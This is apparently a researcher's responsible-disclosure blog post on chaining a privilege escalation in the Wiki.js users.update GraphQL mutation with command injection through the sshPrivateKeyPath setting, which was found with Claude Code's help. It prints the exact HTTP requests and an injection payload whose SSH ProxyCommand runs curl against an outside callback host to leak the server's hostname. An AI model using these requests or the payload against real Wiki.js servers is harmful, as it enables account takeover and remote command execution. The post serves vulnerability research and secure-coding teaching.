From Privilege Escalation to RCE in Wiki.js
A tale of privilege escalation, command injection, and the humbling art of responsible disclosure

I was poking around Wiki.js 2.5.312 one afternoon — as one does — when I found two vulnerabilities that chain together beautifully to turn a wiki moderator into a root shell. One report got accepted. One got rejected. The rejection stung a little, but honestly? I get it. Let me tell you the whole story.
Background
Wiki.js is a popular open-source wiki platform used by teams and organisations to manage internal documentation with over 28K stars on Github. The version under the microscope was 2.5.312 — the latest stable release at the time.
What started as a routine source code review turned into a chain of two critical vulnerabilities that, when combined, allow a wiki moderator with no administrative access to execute arbitrary OS commands on the server. No admin interaction. No complex exploitation. Three HTTP requests.
Tooling: Claude Code Did the Heavy Lifting
Before getting into the bugs themselves, it’s worth mentioning how I found them, because this audit did not happen the old-fashioned way.
I used Claude Code throughout the review — not as a magic vuln generator, but as something closer to a very fast, very patient research assistant. I’d point it at the codebase with a prompt like:
"Read the source code and look for privilege escalation vulnerabilities."
And then the two of us would start pulling on threads.
Claude was particularly good at the parts of source review that are important, necessary, and mildly annoying: opening the right files, tracing values across GraphQL resolvers and models, following permission checks through directives, and keeping track of where user-controlled input eventually ends up. Once it highlighted something interesting, I’d dig in, sanity-check the reasoning, and push it further.
That made the workflow feel less like grep-and-pray and more like an actual conversation. I could ask questions like:
where does this value come from?
who is allowed to call this mutation?
does that permission check actually constrain what happens next?
where does this string finally get interpreted?
It also helped with the practical parts: spinning up Docker, replaying requests, decoding JWTs, drafting the initial report, and re-testing the vendor’s fixes.
To be clear, this wasn’t “AI found bugs, researcher goes home.” I still had to read the code, verify the behavior, build the exploit chain, and make sure the findings were real. But it dramatically shortened the distance between “huh, that looks odd” and “yes, this is definitely exploitable.”
In this case, that workflow led to two bugs that really should not have been allowed to meet each other.
Part 1: From Privilege Escalation
How Wiki.js Permissions Work
Wiki.js has a group-based permission system. Relevant ones for this story:
manage:users— given to moderators so they can approve and manage user accountsmanage:system— full administrator, the keys to the kingdom
In a normal world, a moderator manages users. An admin manages the system. Separation of duties. Clean. Simple. Except...
The users.update Resolver
// server/graph/resolvers/user.js
async update (obj, args) {
await WIKI.models.users.updateUser(args)
}
I stared at this for a moment. Then I stared at it again.
No req.user. No ownership check. No validation of what groups are being assigned. The function signature doesn't even accept a context parameter. It's just vibes and trust.
The model then faithfully executes whatever group assignment you asked for:
for (const grp of addUsrGroups) {
await usr.$relatedQuery('groups').relate(grp) // grp = 1 🙂
}
grp = 1 is the Administrators group. The code will relate any user to any group without so much as raising an eyebrow.
The mutation's auth gate uses OR logic — manage:users alone is sufficient to get through. So a moderator can call users.update. And users.update will accept groups: [1]. There's nothing connecting those two facts with a "but wait."
The Exploit
Step 1 — Log in as a moderator, confirm you're nobody special:
Request
POST /graphql HTTP/1.1
Content-Type: application/json
{"query":"mutation{authentication{login(username:\"attacker@wiki.local\",password:\"Attack123!\",strategy:\"local\"){jwt responseResult{succeeded}}}}"}
Response
{"data":{"authentication":{"login":{"jwt":"<ATTACKER_JWT>","responseResult":{"succeeded":true}}}}}
JWT decoded
{
"id": 8,
"email": "attacker@wiki.local",
"permissions": ["manage:users"],
"groups": [3]
}
JWT confirms: permissions: ["manage:users"], groups: [3]. Just a humble moderator. Nothing to see here.
Step 2 — One mutation to rule them all:
POST /graphql HTTP/1.1
Authorization: Bearer <MODERATOR_JWT>
{"query":"mutation{users{update(id:8,groups:[1]){responseResult{succeeded message}}}}"}
Response: "succeeded": true
The server processed it without complaint. No error. No warning. No "hey, are you sure you want to add yourself to the Administrators group?" Just... done. The wiki equivalent of a bouncer waving you into the VIP section because you asked nicely.
Step 3 — Re-login, collect your prize:
POST /graphql HTTP/1.1
Content-Type: application/json
{"query":"mutation{authentication{login(username:\"attacker@wiki.local\",password:\"Attack123!\",strategy:\"local\"){jwt}}}"}
JWT payload after re-authentication:
{
"permissions": ["manage:system"],
"groups": [1]
}
manage:system. Full admin. In one API call. While being a moderator.
Step 4 — Attacker is loginable to the Administrator Dashboard
All user accounts, emails, and data — including the admin's. Restricted to manage:system only. Accessible from what was a moderator account five minutes ago.
The "Fix" in 2.5.313 (First Attempt)
The vendor shipped a new guard function called checkAssignUserToGroupAccess. Good name! Unfortunately:
return !groups.some(grp => {
if (grp.permissions.includes('manage:system') && !userPermissions.includes('manage:groups')) {
return false // 🤔
}
return true
})
Let me trace this for the Administrators group with a manage:users attacker:
Condition is
true→ returnsfalsegroups.some(() => false)=false!false=true→ access allowed
The guard was protecting everything except the thing it was supposed to protect. A perfectly inverted boolean logic bug — the kind that looks right at a glance but does the exact opposite. Claude Code caught it in seconds by tracing one concrete case through the logic manually. I ran the exact same exploit on 2.5.313. Worked first try.
The updated 2.5.313 switched to groups.every() with correct return values. That one actually held.
✅ Accepted — CVE pending. Full advisory: GHSA-cq3g-mwrg-v2rv
Part 2: To RCE - $(hostname) Says Hello
A Suspicious Template Literal
Now with manage:system in hand, I went exploring what an admin could do. The Git storage module has this gem at line 84:
await this.git.addConfig('core.sshCommand',
`ssh -i "${this.config.sshPrivateKeyPath}" -o StrictHostKeyChecking=no`)
// ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
// Admin-controlled. No validation. No escaping.
// What could go wrong.
sshPrivateKeyPath is configured by the admin through the updateTargets GraphQL mutation. It goes from the API straight into a template literal. No regex. No path validation. Nothing.
The developer's mental model was clearly: "this is a file path, like /home/wiki/.ssh/id_rsa, why would anyone put anything weird here?"
I am that weird.
The "Safe Storage, Unsafe Consumption" Trick
Here's what makes this one interesting. simple-git uses child_process.spawn() with array arguments to write the value to .git/config:
spawn("git", ["config", "--local", "core.sshCommand", "<your evil value>"])
Array arguments → no shell interpretation → the malicious string is stored safely. No injection at write time. If you were watching the process at this point, you'd see nothing suspicious. You'd think "oh, this is fine." You would be wrong, but you'd feel great about it.
The injection fires later, when git reads core.sshCommand and needs to actually use it. Git passes the whole string to sh -c:
sh -c 'ssh -i "/tmp/x" -o ProxyCommand="curl http://attacker/..." -o StrictHostKeyChecking=no'
The shell sees double quotes inside single quotes and interprets them. SSH receives a perfectly valid -o ProxyCommand=... option. And SSH, being helpful, executes the ProxyCommand before establishing any TCP connection. Before. TCP. Connection. The payload fires before the server even tries to talk to the remote.
The full data flow:
POST /graphql (updateTargets)
→ [1] sshPrivateKeyPath stored in DB via JSON extract (no validation)
→ [2] initTargets() reloads config from DB
→ [3] git/storage.js line 84: payload interpolated into template literal
→ [4] simple-git spawn() writes to .git/config safely ← no injection here
→ [5] git remote update origin
→ [6] git reads core.sshCommand → passes to sh -c
→ [7] sh interprets double-quotes → SSH gets ProxyCommand
→ [8] SSH executes ProxyCommand before TCP → your shell runs on their server
The Payload
Set sshPrivateKeyPath to:
/tmp/x" -o ProxyCommand="curl -s -m 5 http://$(hostname).attacker.oastify.com" -o StrictHostKeyChecking=no #
Fire the mutation. Server responds cheerfully:
{
"responseResult": {
"succeeded": true,
"message": "Storage targets updated successfully"
}
}
"Storage targets updated successfully."
Then the callback listener lights up:
GET / HTTP/1.1
Host: a58f1419e8ec.attacker.oastify.com
$(hostname) was expanded by the shell on the server and exfiltrated via DNS. The server introduced itself. Arbitrary command execution confirmed.
Full PoC video:
In Docker deployments — which is how most people run Wiki.js — the process is often running as root. So the full chain is: moderator → admin (3 requests) → root shell. The wiki that ate itself.
❌ Rejected
And here's where my beautiful attack chain got humbled.
The vendor rejected the RCE report. Their reasoning: it requires manage:system, which is an administrator-level permission. An admin can already do a lot of destructive things through the normal UI — the RCE doesn't meaningfully expand what a legitimate admin can do to their own server.
As for the chain with the privilege escalation: fix the privesc, the chain breaks. The RCE alone requires an admin. If you're already admin, well... it's kind of your server.
Is it frustrating? A little. Is it a reasonable call? Also yes. The threat model doesn't include "what if the admin is malicious" — and that's a legitimate design decision, not a cop-out. An RCE that requires compromising an admin account first is categorically different from one that's unauthenticated.
I filed it, documented it, reported it responsibly. The vendor reviewed, made their call, and the patched version is out. Sometimes closing the loop is enough.
The Whole Chain, For Posterity
Even without a CVE for the RCE, the chain is worth documenting because it shows something important: sometimes the low-severity-looking finding is the dangerous one.
manage:users (moderator)
│
├─[1] users.update(id:self, groups:[1]) ← the "boring" permission bug
│ → Full admin access
│
├─[2] Re-login
│ → JWT: manage:system
│
└─[3] updateTargets(sshPrivateKeyPath=payload)
→ sh -c on the server
→ root shell (in Docker)
Three HTTP requests. Moderator to root. The entry point was a permission management mutation that looked completely unremarkable.
Takeaways
For developers:
When you expose a mutation that accepts group IDs, ask who can call it and what groups they can assign. Those are two separate questions that need two separate answers — not one auth directive with OR logic.
"Safe to store" ≠ "safe to use." Trace user-controlled values through their entire lifecycle.
spawn()with array args protects you at write time, not at consumption time by git/sh.When writing a guard with
.some()or.every(), manually trace one concrete bad case through the logic before shipping. The inverted boolean bug in 2.5.313's first fix would have been caught in 30 seconds with a pencil and paper.
For security researchers:
Chain your findings. A permission management bug that looks like a minor misconfiguration can be the opening move to root.
Accept the outcomes gracefully. Not every finding gets a CVE. The RCE rejection was fair — the vendor's threat model genuinely doesn't include malicious admins, and the chain only worked through a now-patched bug.
AI-assisted code auditing is real and worth learning. Claude Code isn't a magic vulnerability finder — but it's an excellent co-pilot for tracing data flows, following auth logic across files, and grinding through verification steps. The findings were mine; it just made getting there faster.
Document everything anyway. The knowledge transfers.
Status:
| Finding | Result |
|---|---|
Privilege Escalation (manage:users → admin) |
✅ Accepted — CVE pending — GHSA-cq3g-mwrg-v2rv |
RCE via sshPrivateKeyPath |
❌ Rejected — requires admin; chain depends on patched privesc |
One CVE out of two findings. The other one still got fixed. Not a bad outcome for responsible disclosure.





